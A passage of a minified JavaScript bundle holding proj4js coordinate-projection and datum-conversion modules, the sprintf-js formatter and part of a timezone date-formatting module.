t&&\\\"none\\\"===t&&(s.datum_type=5),e&&(s.datum_params=e.map(parseFloat),0===s.datum_params[0]&&0===s.datum_params[1]&&0===s.datum_params[2]||(s.datum_type=1),3<s.datum_params.length&&(0===s.datum_params[3]&&0===s.datum_params[4]&&0===s.datum_params[5]&&0===s.datum_params[6]||(s.datum_type=2,s.datum_params[3]*=a,s.datum_params[4]*=a,s.datum_params[5]*=a,s.datum_params[6]=s.datum_params[6]/1e6+1))),s.a=i,s.b=n,s.es=r,s.ep2=o,s}},function(t,e,i){var k=Math.PI/2;i.compareDatums=function(t,e){return t.datum_type===e.datum_type&&!(t.a!==e.a||5e-11<Math.abs(this.es-e.es))&&(1===t.datum_type?this.datum_params[0]===e.datum_params[0]&&t.datum_params[1]===e.datum_params[1]&&t.datum_params[2]===e.datum_params[2]:2!==t.datum_type||t.datum_params[0]===e.datum_params[0]&&t.datum_params[1]===e.datum_params[1]&&t.datum_params[2]===e.datum_params[2]&&t.datum_params[3]===e.datum_params[3]&&t.datum_params[4]===e.datum_params[4]&&t.datum_params[5]===e.datum_params[5]&&t.datum_params[6]===e.datum_params[6])},i.geodeticToGeocentric=function(t,e,i){var n,r,o,s,a=t.x,l=t.y,h=t.z?t.z:0;if(l<-k&&-1.001*k<l)l=-k;else if(k<l&&l<1.001*k)l=k;else if(l<-k||k<l)return null;return a>Math.PI&&(a-=2*Math.PI),r=Math.sin(l),s=Math.cos(l),o=r*r,{x:((n=i/Math.sqrt(1-e*o))+h)*s*Math.cos(a),y:(n+h)*s*Math.sin(a),z:(n*(1-e)+h)*r}},i.geocentricToGeodetic=function(t,e,i,n){var r,o,s,a,l,h,u,c,_,p,d,f,v,m,g,y,b=t.x,x=t.y,w=t.z?t.z:0;if(r=Math.sqrt(b*b+x*x),o=Math.sqrt(b*b+x*x+w*w),r/i<1e-12){if(m=0,o/i<1e-12)return g=k,y=-n,{x:t.x,y:t.y,z:t.z}}else m=Math.atan2(x,b);for(s=w/o,a=r/o,l=1/Math.sqrt(1-e*(2-e)*a*a),c=a*(1-e)*l,_=s*l,v=0;v++,u=i/Math.sqrt(1-e*_*_),h=e*u/(u+(y=r*c+w*_-u*(1-e*_*_))),l=1/Math.sqrt(1-h*(2-h)*a*a),f=(d=s*l)*c-(p=a*(1-h)*l)*_,c=p,_=d,1e-24<f*f&&v<30;);return g=Math.atan(d/Math.abs(p)),{x:m,y:g,z:y}},i.geocentricToWgs84=function(t,e,i){if(1===e)return{x:t.x+i[0],y:t.y+i[1],z:t.z+i[2]};if(2===e){var n=i[0],r=i[1],o=i[2],s=i[3],a=i[4],l=i[5],h=i[6];return{x:h*(t.x-l*t.y+a*t.z)+n,y:h*(l*t.x+t.y-s*t.z)+r,z:h*(-a*t.x+s*t.y+t.z)+o}}},i.geocentricFromWgs84=function(t,e,i){if(1===e)return{x:t.x-i[0],y:t.y-i[1],z:t.z-i[2]};if(2===e){var n=i[0],r=i[1],o=i[2],s=i[3],a=i[4],l=i[5],h=i[6],u=(t.x-n)/h,c=(t.y-r)/h,_=(t.z-o)/h;return{x:u+l*c-a*_,y:-l*u+c+s*_,z:a*u-s*c+_}}}},function(t,e,i){var n=t(376);function r(t){return 1===t||2===t}e.exports=function(t,e,i){return n.compareDatums(t,e)?i:5===t.datum_type||5===e.datum_type?i:t.es!==e.es||t.a!==e.a||r(t.datum_type)||r(e.datum_type)?(i=n.geodeticToGeocentric(i,t.es,t.a),r(t.datum_type)&&(i=n.geocentricToWgs84(i,t.datum_type,t.datum_params)),r(e.datum_type)&&(i=n.geocentricFromWgs84(i,e.datum_type,e.datum_params)),n.geocentricToGeodetic(i,e.es,e.a,e.b)):i}},function(t,e,i){var n=t(381),r=t(383),o=t(388);function s(t){var e=this;if(2===arguments.length){var i=arguments[1];s[t]=\\\"string\\\"==typeof i?\\\"+\\\"===i.charAt(0)?r(arguments[1]):o(arguments[1]):i}else if(1===arguments.length){if(Array.isArray(t))return t.map(function(t){Array.isArray(t)?s.apply(e,t):s(t)});if(\\\"string\\\"==typeof t){if(t in s)return s[t]}else\\\"EPSG\\\"in t?s[\\\"EPSG:\\\"+t.EPSG]=t:\\\"ESRI\\\"in t?s[\\\"ESRI:\\\"+t.ESRI]=t:\\\"IAU2000\\\"in t?s[\\\"IAU2000:\\\"+t.IAU2000]=t:console.log(t);return}}n(s),e.exports=s},function(t,e,i){var s=t(371);i.eccentricity=function(t,e,i,n){var r=t*t,o=e*e,s=(r-o)/r,a=0;n?(r=(t*=1-s*(.16666666666666666+s*(.04722222222222222+.022156084656084655*s)))*t,s=0):a=Math.sqrt(s);var l=(r-o)/o;return{es:s,e:a,ep2:l}},i.sphere=function(t,e,i,n,r){if(!t){var o=s[n];o||(o=s.WGS84),t=o.a,e=o.b,i=o.rf}return i&&!e&&(e=(1-1/i)*t),(0===i||Math.abs(t-e)<1e-10)&&(r=!0,e=t),{a:t,b:e,rf:i,sphere:r}}},function(t,e,i){e.exports=function(t,e){var i,n;if(t=t||{},!e)return t;for(n in e)void 0!==(i=e[n])&&(t[n]=i);return t}},function(t,e,i){e.exports=function(t){t(\\\"EPSG:4326\\\",\\\"+title=WGS 84 (long/lat) +proj=longlat +ellps=WGS84 +datum=WGS84 +units=degrees\\\"),t(\\\"EPSG:4269\\\",\\\"+title=NAD83 (long/lat) +proj=longlat +a=6378137.0 +b=6356752.31414036 +ellps=GRS80 +datum=NAD83 +units=degrees\\\"),t(\\\"EPSG:3857\\\",\\\"+title=WGS 84 / Pseudo-Mercator +proj=merc +a=6378137 +b=6378137 +lat_ts=0.0 +lon_0=0.0 +x_0=0.0 +y_0=0 +k=1.0 +units=m +nadgrids=@null +no_defs\\\"),t.WGS84=t[\\\"EPSG:4326\\\"],t[\\\"EPSG:3785\\\"]=t[\\\"EPSG:3857\\\"],t.GOOGLE=t[\\\"EPSG:3857\\\"],t[\\\"EPSG:900913\\\"]=t[\\\"EPSG:3857\\\"],t[\\\"EPSG:102113\\\"]=t[\\\"EPSG:3857\\\"]}},function(t,e,i){var n=t(378),r=t(388),o=t(383),s=[\\\"GEOGCS\\\",\\\"GEOCCS\\\",\\\"PROJCS\\\",\\\"LOCAL_CS\\\"];e.exports=function(t){return\\\"string\\\"!=typeof t?t:t in n?n[t]:(e=t,s.some(function(t){return-1<e.indexOf(t)})?r(t):\\\"+\\\"===t[0]?o(t):void 0);var e}},function(t,e,i){var a=.017453292519943295,l=t(372),h=t(373);e.exports=function(t){var e,i,n,r={},o=t.split(\\\"+\\\").map(function(t){return t.trim()}).filter(function(t){return t}).reduce(function(t,e){var i=e.split(\\\"=\\\");return i.push(!0),t[i[0].toLowerCase()]=i[1],t},{}),s={proj:\\\"projName\\\",datum:\\\"datumCode\\\",rf:function(t){r.rf=parseFloat(t)},lat_0:function(t){r.lat0=t*a},lat_1:function(t){r.lat1=t*a},lat_2:function(t){r.lat2=t*a},lat_ts:function(t){r.lat_ts=t*a},lon_0:function(t){r.long0=t*a},lon_1:function(t){r.long1=t*a},lon_2:function(t){r.long2=t*a},alpha:function(t){r.alpha=parseFloat(t)*a},lonc:function(t){r.longc=t*a},x_0:function(t){r.x0=parseFloat(t)},y_0:function(t){r.y0=parseFloat(t)},k_0:function(t){r.k0=parseFloat(t)},k:function(t){r.k0=parseFloat(t)},a:function(t){r.a=parseFloat(t)},b:function(t){r.b=parseFloat(t)},r_a:function(){r.R_A=!0},zone:function(t){r.zone=parseInt(t,10)},south:function(){r.utmSouth=!0},towgs84:function(t){r.datum_params=t.split(\\\",\\\").map(function(t){return parseFloat(t)})},to_meter:function(t){r.to_meter=parseFloat(t)},units:function(t){r.units=t,h[t]&&(r.to_meter=h[t].to_meter)},from_greenwich:function(t){r.from_greenwich=t*a},pm:function(t){r.from_greenwich=(l[t]?l[t]:parseFloat(t))*a},nadgrids:function(t){\\\"@null\\\"===t?r.datumCode=\\\"none\\\":r.nadgrids=t},axis:function(t){var e=\\\"ewnsud\\\";3===t.length&&-1!==e.indexOf(t.substr(0,1))&&-1!==e.indexOf(t.substr(1,1))&&-1!==e.indexOf(t.substr(2,1))&&(r.axis=t)}};for(e in o)i=o[e],e in s?\\\"function\\\"==typeof(n=s[e])?n(i):r[n]=i:r[e]=i;return\\\"string\\\"==typeof r.datumCode&&\\\"WGS84\\\"!==r.datumCode&&(r.datumCode=r.datumCode.toLowerCase()),r}},function(t,e,i){var n=[t(386),t(385)],r={},o=[];function s(t,e){var i=o.length;return t.names?((o[i]=t).names.forEach(function(t){r[t.toLowerCase()]=i}),this):(console.log(e),!0)}i.add=s,i.get=function(t){if(!t)return!1;var e=t.toLowerCase();return void 0!==r[e]&&o[r[e]]?o[r[e]]:void 0},i.start=function(){n.forEach(s)}},function(t,e,i){function n(t){return t}i.init=function(){},i.forward=n,i.inverse=n,i.names=[\\\"longlat\\\",\\\"identity\\\"]},function(t,e,i){var n=t(365),a=Math.PI/2,l=57.29577951308232,h=t(364),u=Math.PI/4,c=t(369),s=t(366);i.init=function(){var t=this.b/this.a;this.es=1-t*t,\\\"x0\\\"in this||(this.x0=0),\\\"y0\\\"in this||(this.y0=0),this.e=Math.sqrt(this.es),this.lat_ts?this.sphere?this.k0=Math.cos(this.lat_ts):this.k0=n(this.e,Math.sin(this.lat_ts),Math.cos(this.lat_ts)):this.k0||(this.k?this.k0=this.k:this.k0=1)},i.forward=function(t){var e,i,n=t.x,r=t.y;if(90<r*l&&r*l<-90&&180<n*l&&n*l<-180)return null;if(Math.abs(Math.abs(r)-a)<=1e-10)return null;if(this.sphere)e=this.x0+this.a*this.k0*h(n-this.long0),i=this.y0+this.a*this.k0*Math.log(Math.tan(u+.5*r));else{var o=Math.sin(r),s=c(this.e,r,o);e=this.x0+this.a*this.k0*h(n-this.long0),i=this.y0-this.a*this.k0*Math.log(s)}return t.x=e,t.y=i,t},i.inverse=function(t){var e,i,n=t.x-this.x0,r=t.y-this.y0;if(this.sphere)i=a-2*Math.atan(Math.exp(-r/(this.a*this.k0)));else{var o=Math.exp(-r/(this.a*this.k0));if(-9999===(i=s(this.e,o)))return null}return e=h(this.long0+n/(this.a*this.k0)),t.x=e,t.y=i,t},i.names=[\\\"Mercator\\\",\\\"Popular Visualisation Pseudo Mercator\\\",\\\"Mercator_1SP\\\",\\\"Mercator_Auxiliary_Sphere\\\",\\\"merc\\\"]},function(t,e,i){var a=.017453292519943295,l=57.29577951308232,h=t(377),u=t(363),c=t(362),_=t(368);e.exports=function t(e,i,n){var r,o,s;return Array.isArray(n)&&(n=_(n)),e.datum&&i.datum&&(s=i,(1===(o=e).datum.datum_type||2===o.datum.datum_type)&&\\\"WGS84\\\"!==s.datumCode||(1===s.datum.datum_type||2===s.datum.datum_type)&&\\\"WGS84\\\"!==o.datumCode)&&(r=new c(\\\"WGS84\\\"),n=t(e,r,n),e=r),\\\"enu\\\"!==e.axis&&(n=u(e,!1,n)),\\\"longlat\\\"===e.projName?n={x:n.x*a,y:n.y*a}:(e.to_meter&&(n={x:n.x*e.to_meter,y:n.y*e.to_meter}),n=e.inverse(n)),e.from_greenwich&&(n.x+=e.from_greenwich),n=h(e.datum,i.datum,n),i.from_greenwich&&(n={x:n.x-i.grom_greenwich,y:n.y}),\\\"longlat\\\"===i.projName?n={x:n.x*l,y:n.y*l}:(n=i.forward(n),i.to_meter&&(n={x:n.x/i.to_meter,y:n.y/i.to_meter})),\\\"enu\\\"!==i.axis?u(i,!0,n):n}},function(t,e,i){var n=.017453292519943295,s=t(380);function r(t,e,i){t[e]=i.map(function(t){var e={};return a(t,e),e}).reduce(function(t,e){return s(t,e)},{})}function a(t,e){var i;Array.isArray(t)?(\\\"PARAMETER\\\"===(i=t.shift())&&(i=t.shift()),1===t.length?Array.isArray(t[0])?(e[i]={},a(t[0],e[i])):e[i]=t[0]:t.length?\\\"TOWGS84\\\"===i?e[i]=t:(e[i]={},-1<[\\\"UNIT\\\",\\\"PRIMEM\\\",\\\"VERT_DATUM\\\"].indexOf(i)?(e[i]={name:t[0].toLowerCase(),convert:t[1]},3===t.length&&(e[i].auth=t[2])):\\\"SPHEROID\\\"===i?(e[i]={name:t[0],a:t[1],rf:t[2]},4===t.length&&(e[i].auth=t[3])):-1<[\\\"GEOGCS\\\",\\\"GEOCCS\\\",\\\"DATUM\\\",\\\"VERT_CS\\\",\\\"COMPD_CS\\\",\\\"LOCAL_CS\\\",\\\"FITTED_CS\\\",\\\"LOCAL_DATUM\\\"].indexOf(i)?(t[0]=[\\\"name\\\",t[0]],r(e,i,t)):t.every(function(t){return Array.isArray(t)})?r(e,i,t):a(t,e[i])):e[i]=!0):e[t]=!0}function l(t){return t*n}e.exports=function(t,e){var i=JSON.parse((\\\",\\\"+t).replace(/\\\\s*\\\\,\\\\s*([A-Z_0-9]+?)(\\\\[)/g,',[\\\"$1\\\",').slice(1).replace(/\\\\s*\\\\,\\\\s*([A-Z_0-9]+?)\\\\]/g,',\\\"$1\\\"]').replace(/,\\\\[\\\"VERTCS\\\".+/,\\\"\\\")),n=i.shift(),r=i.shift();i.unshift([\\\"name\\\",r]),i.unshift([\\\"type\\\",n]),i.unshift(\\\"output\\\");var o={};return a(i,o),function(o){function t(t){var e=o.to_meter||1;return parseFloat(t,10)*e}\\\"GEOGCS\\\"===o.type?o.projName=\\\"longlat\\\":\\\"LOCAL_CS\\\"===o.type?(o.projName=\\\"identity\\\",o.local=!0):\\\"object\\\"==typeof o.PROJECTION?o.projName=Object.keys(o.PROJECTION)[0]:o.projName=o.PROJECTION,o.UNIT&&(o.units=o.UNIT.name.toLowerCase(),\\\"metre\\\"===o.units&&(o.units=\\\"meter\\\"),o.UNIT.convert&&(\\\"GEOGCS\\\"===o.type?o.DATUM&&o.DATUM.SPHEROID&&(o.to_meter=parseFloat(o.UNIT.convert,10)*o.DATUM.SPHEROID.a):o.to_meter=parseFloat(o.UNIT.convert,10))),o.GEOGCS&&(o.GEOGCS.DATUM?o.datumCode=o.GEOGCS.DATUM.name.toLowerCase():o.datumCode=o.GEOGCS.name.toLowerCase(),\\\"d_\\\"===o.datumCode.slice(0,2)&&(o.datumCode=o.datumCode.slice(2)),\\\"new_zealand_geodetic_datum_1949\\\"!==o.datumCode&&\\\"new_zealand_1949\\\"!==o.datumCode||(o.datumCode=\\\"nzgd49\\\"),\\\"wgs_1984\\\"===o.datumCode&&(\\\"Mercator_Auxiliary_Sphere\\\"===o.PROJECTION&&(o.sphere=!0),o.datumCode=\\\"wgs84\\\"),\\\"_ferro\\\"===o.datumCode.slice(-6)&&(o.datumCode=o.datumCode.slice(0,-6)),\\\"_jakarta\\\"===o.datumCode.slice(-8)&&(o.datumCode=o.datumCode.slice(0,-8)),~o.datumCode.indexOf(\\\"belge\\\")&&(o.datumCode=\\\"rnb72\\\"),o.GEOGCS.DATUM&&o.GEOGCS.DATUM.SPHEROID&&(o.ellps=o.GEOGCS.DATUM.SPHEROID.name.replace(\\\"_19\\\",\\\"\\\").replace(/[Cc]larke\\\\_18/,\\\"clrk\\\"),\\\"international\\\"===o.ellps.toLowerCase().slice(0,13)&&(o.ellps=\\\"intl\\\"),o.a=o.GEOGCS.DATUM.SPHEROID.a,o.rf=parseFloat(o.GEOGCS.DATUM.SPHEROID.rf,10)),~o.datumCode.indexOf(\\\"osgb_1936\\\")&&(o.datumCode=\\\"osgb36\\\")),o.b&&!isFinite(o.b)&&(o.b=o.a),[[\\\"standard_parallel_1\\\",\\\"Standard_Parallel_1\\\"],[\\\"standard_parallel_2\\\",\\\"Standard_Parallel_2\\\"],[\\\"false_easting\\\",\\\"False_Easting\\\"],[\\\"false_northing\\\",\\\"False_Northing\\\"],[\\\"central_meridian\\\",\\\"Central_Meridian\\\"],[\\\"latitude_of_origin\\\",\\\"Latitude_Of_Origin\\\"],[\\\"latitude_of_origin\\\",\\\"Central_Parallel\\\"],[\\\"scale_factor\\\",\\\"Scale_Factor\\\"],[\\\"k0\\\",\\\"scale_factor\\\"],[\\\"latitude_of_center\\\",\\\"Latitude_of_center\\\"],[\\\"lat0\\\",\\\"latitude_of_center\\\",l],[\\\"longitude_of_center\\\",\\\"Longitude_Of_Center\\\"],[\\\"longc\\\",\\\"longitude_of_center\\\",l],[\\\"x0\\\",\\\"false_easting\\\",t],[\\\"y0\\\",\\\"false_northing\\\",t],[\\\"long0\\\",\\\"central_meridian\\\",l],[\\\"lat0\\\",\\\"latitude_of_origin\\\",l],[\\\"lat0\\\",\\\"standard_parallel_1\\\",l],[\\\"lat1\\\",\\\"standard_parallel_1\\\",l],[\\\"lat2\\\",\\\"standard_parallel_2\\\",l],[\\\"alpha\\\",\\\"azimuth\\\",l],[\\\"srsCode\\\",\\\"name\\\"]].forEach(function(t){return e=o,n=(i=t)[0],r=i[1],void(!(n in e)&&r in e&&(e[n]=e[r],3===i.length&&(e[n]=i[2](e[n]))));var e,i,n,r}),o.long0||!o.longc||\\\"Albers_Conic_Equal_Area\\\"!==o.projName&&\\\"Lambert_Azimuthal_Equal_Area\\\"!==o.projName||(o.long0=o.longc),o.lat_ts||!o.lat1||\\\"Stereographic_South_Pole\\\"!==o.projName&&\\\"Polar Stereographic (variant B)\\\"!==o.projName||(o.lat0=l(0<o.lat1?90:-90),o.lat_ts=o.lat1)}(o.output),s(e,o.output)}},function(t,e,i){!function(){\\\"use strict\\\";var d={not_string:/[^s]/,not_bool:/[^t]/,not_type:/[^T]/,not_primitive:/[^v]/,number:/[diefg]/,numeric_arg:/[bcdiefguxX]/,json:/[j]/,not_json:/[^j]/,text:/^[^\\\\x25]+/,modulo:/^\\\\x25{2}/,placeholder:/^\\\\x25(?:([1-9]\\\\d*)\\\\$|\\\\(([^\\\\)]+)\\\\))?(\\\\+)?(0|'[^$])?(-)?(\\\\d+)?(?:\\\\.(\\\\d+))?([b-gijostTuvxX])/,key:/^([a-z_][a-z_\\\\d]*)/i,key_access:/^\\\\.([a-z_][a-z_\\\\d]*)/i,index_access:/^\\\\[(\\\\d+)\\\\]/,sign:/^[\\\\+\\\\-]/};function f(t){return function(t,e){var i,n,r,o,s,a,l,h,u,c=1,_=t.length,p=\\\"\\\";for(n=0;n<_;n++)if(\\\"string\\\"==typeof t[n])p+=t[n];else if(Array.isArray(t[n])){if((o=t[n])[2])for(i=e[c],r=0;r<o[2].length;r++){if(!i.hasOwnProperty(o[2][r]))throw new Error(f('[sprintf] property \\\"%s\\\" does not exist',o[2][r]));i=i[o[2][r]]}else i=o[1]?e[o[1]]:e[c++];if(d.not_type.test(o[8])&&d.not_primitive.test(o[8])&&i instanceof Function&&(i=i()),d.numeric_arg.test(o[8])&&\\\"number\\\"!=typeof i&&isNaN(i))throw new TypeError(f(\\\"[sprintf] expecting number but found %T\\\",i));switch(d.number.test(o[8])&&(h=0<=i),o[8]){case\\\"b\\\":i=parseInt(i,10).toString(2);break;case\\\"c\\\":i=String.fromCharCode(parseInt(i,10));break;case\\\"d\\\":case\\\"i\\\":i=parseInt(i,10);break;case\\\"j\\\":i=JSON.stringify(i,null,o[6]?parseInt(o[6]):0);break;case\\\"e\\\":i=o[7]?parseFloat(i).toExponential(o[7]):parseFloat(i).toExponential();break;case\\\"f\\\":i=o[7]?parseFloat(i).toFixed(o[7]):parseFloat(i);break;case\\\"g\\\":i=o[7]?String(Number(i.toPrecision(o[7]))):parseFloat(i);break;case\\\"o\\\":i=(parseInt(i,10)>>>0).toString(8);break;case\\\"s\\\":i=String(i),i=o[7]?i.substring(0,o[7]):i;break;case\\\"t\\\":i=String(!!i),i=o[7]?i.substring(0,o[7]):i;break;case\\\"T\\\":i=Object.prototype.toString.call(i).slice(8,-1).toLowerCase(),i=o[7]?i.substring(0,o[7]):i;break;case\\\"u\\\":i=parseInt(i,10)>>>0;break;case\\\"v\\\":i=i.valueOf(),i=o[7]?i.substring(0,o[7]):i;break;case\\\"x\\\":i=(parseInt(i,10)>>>0).toString(16);break;case\\\"X\\\":i=(parseInt(i,10)>>>0).toString(16).toUpperCase()}d.json.test(o[8])?p+=i:(!d.number.test(o[8])||h&&!o[3]?u=\\\"\\\":(u=h?\\\"+\\\":\\\"-\\\",i=i.toString().replace(d.sign,\\\"\\\")),a=o[4]?\\\"0\\\"===o[4]?\\\"0\\\":o[4].charAt(1):\\\" \\\",l=o[6]-(u+i).length,s=o[6]&&0<l?a.repeat(l):\\\"\\\",p+=o[5]?u+i+s:\\\"0\\\"===a?u+s+i:s+u+i)}return p}(function(t){if(l[t])return l[t];for(var e,i=t,n=[],r=0;i;){if(null!==(e=d.text.exec(i)))n.push(e[0]);else if(null!==(e=d.modulo.exec(i)))n.push(\\\"%\\\");else{if(null===(e=d.placeholder.exec(i)))throw new SyntaxError(\\\"[sprintf] unexpected placeholder\\\");if(e[2]){r|=1;var o=[],s=e[2],a=[];if(null===(a=d.key.exec(s)))throw new SyntaxError(\\\"[sprintf] failed to parse named argument key\\\");for(o.push(a[1]);\\\"\\\"!==(s=s.substring(a[0].length));)if(null!==(a=d.key_access.exec(s)))o.push(a[1]);else{if(null===(a=d.index_access.exec(s)))throw new SyntaxError(\\\"[sprintf] failed to parse named argument key\\\");o.push(a[1])}e[2]=o}else r|=2;if(3===r)throw new Error(\\\"[sprintf] mixing positional and named placeholders is not (yet) supported\\\");n.push(e)}i=i.substring(e[0].length)}return l[t]=n}(t),arguments)}function t(t,e){return f.apply(null,[t].concat(e||[]))}var l=Object.create(null);void 0!==i&&(i.sprintf=f,i.vsprintf=t),\\\"undefined\\\"!=typeof window&&(window.sprintf=f,window.vsprintf=t)}()},function(t,e,i){!function(t){\\\"object\\\"==typeof e&&e.exports?e.exports=t():this.tz=t()}(function(){function d(t,e,i){for(var n,r=e.day[1];n=new Date(Date.UTC(i,e.month,Math.abs(r++))),e.day[0]<7&&n.getUTCDay()!=e.day[0];);return(n={clock:e.clock,sort:n.getTime(),rule:e,save:6e4*e.save,offset:t.offset})[n.clock]=n.sort+6e4*e.time,n.posix?n.wallclock=n[n.clock]+(t.offset+e.saved):n.posix=n[n.clock]-(t.offset+e.saved),n}function r(t,e,i){var n,r,o,s,a,l,h,u=t[t.zone],c=[],_=new Date(i).getUTCFullYear(),p=1;for(n=1,r=u.length;n<r&&!(u[n][e]<=i);n++);if((o=u[n]).rules){for(l=t[o.rules],h=_+1;_-p<=h;--h)for(n=0,r=l.length;n<r;n++)l[n].from<=h&&h<=l[n].to?c.push(d(o,l[n],h)):l[n].to<h&&1==p&&(p=h-l[n].to);for(c.sort(function(t,e){return t.sort-e.sort}),n=0,r=c.length;n<r;n++)i>=c[n][e]&&c[n][c[n].clock]>o[c[n].clock]&&(s=c[n])}return s&&((a=/^(.*)\\\\/(.*)$/.exec(o.format))?s.abbrev=a[s.save?2:1]:s.abbrev=o.format.replace(/%s/,s.rule.letter)),s||o}function a(t,e){return\\\"UTC\\\"==t.zone?e:(t.entry=r(t,\\\"posix\\\",e),e+t.entry.offset+t.entry.save)}function c(t,e){return\\\"UTC\\\"==t.zone?e:(t.entry=i=r(t,\\\"wallclock\\\",e),0<(n=e-i.wallclock)&&n<i.save?null:e-i.offset-i.save);var i,n}function o(t,e,i){var n,r=+(i[1]+1),o=i[2]*r,s=l.indexOf(i[3].toLowerCase());if(9<s)e+=o*h[s-10];else{if(n=new Date(a(t,e)),s<7)for(;o;)n.setUTCDate(n.getUTCDate()+r),n.getUTCDay()==s&&(o-=r);else 7==s?n.setUTCFullYear(n.getUTCFullYear()+o):8==s?n.setUTCMonth(n.getUTCMonth()+o):n.setUTCDate(n.getUTCDate()+o);null==(e=c(t,n.getTime()))&&(e=c(t,n.getTime()+864e5*r)-864e5*r)}return e}var e={clock:function(){return+new Date},zone:\\\"UTC\\\",entry:{abbrev:\\\"UTC\\\",offset:0,save:0},UTC:1,z:function(t,e,i,n){var r,o,s=this.entry.offset+this.entry.save,a=Math.abs(s/1e3),l=[],h=3600;for(r=0;r<3;r++)l.push((\\\"0\\\"+Math.floor(a/h)).slice(-2)),a%=h,h/=60;return\\\"^\\\"!=i||s?(\\\"^\\\"==i&&(n=3),3==n?(o=(o=l.join(\\\":\\\")).replace(/:00$/,\\\"\\\"),\\\"^\\\"!=i&&(o=o.replace(/:00$/,\\\"\\\"))):n?(o=l.slice(0,n+1).join(\\\":\\\"),\\\"^\\\"==i&&(o=o.replace(/:00$/,\\\"\\\"))):o=l.slice(0,2).join(\\\"\\\"),o=(o=(s<0?\\\"-\\\":\\\"+\\\")+o).replace(/([-+])(0)/,{_:\\\" $1\\\",\\\"-\\\":\\\"$1\\\"}[i]||\\\"$1$2\\\")):\\\"Z\\\"},\\\"%\\\":function(t){return\\\"%\\\"},n:function(t){return\\\"\\\\n\\\"},t:function(t){return\\\"\\\\t\\\"},U:function(t){return u(t,0)},W:function(t){return u(t,1)},V:function(t){return i(t)[0]},G:function(t){return i(t)[1]},g:function(t){return i(t)[1]%100},j:function(t){return Math.floor((t.getTime()-Date.UTC(t.getUTCFullYear(),0))/864e5)+1},s:function(t){return Math.floor(t.getTime()/1e3)},C:function(t){return Math.floor(t.getUTCFullYear()/100)},N:function(t){return t.getTime()%1e3*1e6},m:function(t){return t.getUTCMonth()+1},Y:function(t){return t.getUTCFullYear()},y:function(t){return t.getUTCFullYear()%100},H:function(t){return t.getUTCHours()},M:function(t){return t.getUTCMinutes()},S:function(t){return t.getUTCSeconds()},e:function(t){return t.getUTCDate()},d:function(t){return t.getUTCDate()},u:function(t){return t.getUTCDay()||7},w:function(t){return t.getUTCDay()},l:function(t){return t.getUTCHours()%12||12},I:function(t){return t.getUTCHours()%12||12},k:function(t){return t.getUTCHours()},Z:function(t){return this.entry.abbrev},a:function(t){return this[this.locale].day.abbrev[t.getUTCDay()]},A:function(t){return this[this.locale].day.full[t.getUTCDay()]},h:function(t){return this[this.locale].month.abbrev[t.getUTCMonth()]},b:function(t){return this[this.locale].month.abbrev[t.getUTCMonth()]},B:function(t){return this[this.locale].month.full[t.getUTCMonth()]},P:function(t){return this[this.locale].meridiem[Math.floor(t.getUTCHours()/12)].toLowerCase()},p:function(t){return this[this.locale].meridiem[Math.floor(t.getUTCHours()/12)]},R:function(t,e){return this.convert([e,\\\"%H:%M\\\"])},T:function(t,e){return this.convert([e,\\\"%H:%M:%S\\\"])},D:function(t,e){return this.convert([e,\\\"%m/%d/%y\\\"])},F:function(t,e){return this.convert([e,\\\"%Y-%m-%d\\\"])},x:function(t,e){return this.convert([e,this[this.locale].date])},r:function(t,e){return this.convert([e,this[this.locale].time12||\\\"%I:%M:%S\\\"])},X:function(t,e){return this.convert([e,this[this.locale].time24])},c:function(t,e){return this.convert([e,this[this.locale].dateTime])},convert:function(t){if(!t.length)return\\\"1.0.13\\\";var e,i,l,n,h,u=Object.create(this),r=[];for(e=0;e<t.length;e++)if(n=t[e],Array.isArray(n))e||isNaN(n[1])?n.splice.apply(t,[e--,1].concat(n)):h=n;else if(isNaN(n)){if(\\\"string\\\"==(l=typeof n))~n.indexOf(\\\"%\\\")?u.format=n:e||\\\"*\\\"!=n?!e&&(l=/^(\\\\d{4})-(\\\\d{2})-(\\\\d{2})(?:[T\\\\s](\\\\d{2}):(\\\\d{2})(?::(\\\\d{2})(?:\\\\.(\\\\d+))?)?(Z|(([+-])(\\\\d{2}(:\\\\d{2}){0,2})))?)?$/.exec(n))?((h=[]).push.apply(h,l.slice(1,8)),l[9]?(h.push(l[10]+1),h.push.apply(h,l[11].split(/:/))):l[8]&&h.push(1)):/^\\\\w{2,3}_\\\\w{2}$/.test(n)?u.locale=n:(l=s.exec(n))?r.push(l):u.zone=n:h=n;else if(\\\"function\\\"==l){if(l=n.call(u))return l}else if(/^\\\\w{2,3}_\\\\w{2}$/.test(n.name))u[n.name]=n;else if(n.zones){for(l in n.zones)u[l]=n.zones[l];for(l in n.rules)u[l]=n.rules[l]}}else e||(h=n);if(u[u.locale]||delete u.locale,u[u.zone]||delete u.zone,null!=h){if(\\\"*\\\"==h)h=u.clock();else if(Array.isArray(h)){for(l=[],i=!h[7],e=0;e<11;e++)l[e]=+(h[e]||0);--l[1],h=Date.UTC.apply(Date.UTC,l)+-l[7]*(36e5*l[8]+6e4*l[9]+1e3*l[10])}else h=Math.floor(h);if(!isNaN(h)){if(i&&(h=c(u,h)),null==h)return h;for(e=0,i=r.length;e<i;e++)h=o(u,h,r[e]);return u.format?(l=new Date(a(u,h)),u.format.replace(/%([-0_^]?)(:{0,3})(\\\\d*)(.)/g,function(t,e,i,n,r){var o,s,a=\\\"0\\\";if(o=u[r]){for(t=String(o.call(u,l,h,e,i.length)),\\\"_\\\"==(e||o.style)&&(a=\\\" \\\"),s=\\\"-\\\"==e?0:o.pad||0;t.length<s;)t=a+t;for(s=\\\"-\\\"==e?0:n||o.pad;t.length<s;)t=a+t;\\\"N\\\"==r&&s<t.length&&(t=t.slice(0,s)),\\\"^\\\"==e&&(t=t.toUpperCase())}return t})):h}}return function(){return u.convert(arguments)}},locale:\\\"en_US\\\",en_US:{date:\\\"%m/%d/%Y\\\",time24:\\\"%I:%M:%S %p\\\",time12:\\\"%I:%M:%S %p\\\",dateTime:\\\"%a %d %b %Y %I:%M:%S %p %Z\\\",meridiem:[\\\"AM\\\",\\\"PM\\\"],month:{abbrev:\\\"Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec\\\".split(\\\"|\\\"),full:\\\"January|February|March|April|May|June|July|August|September|October|November|December\\\".split(\\\"|\\\")},day:{abbrev:\\\"Sun|Mon|Tue|Wed|Thu|Fri|Sat\\\".split(\\\"|\\\"),full:\\\"Sunday|Monday|Tuesday|Wednesday|Thursday|Friday|Saturday\\\".split(\\\"|\\\")}}},l=\\\"Sunday|Monday|Tuesday|Wednesday|Thursday|Friday|Saturday|year|month|day|hour|minute|second|millisecond\\\",s=new 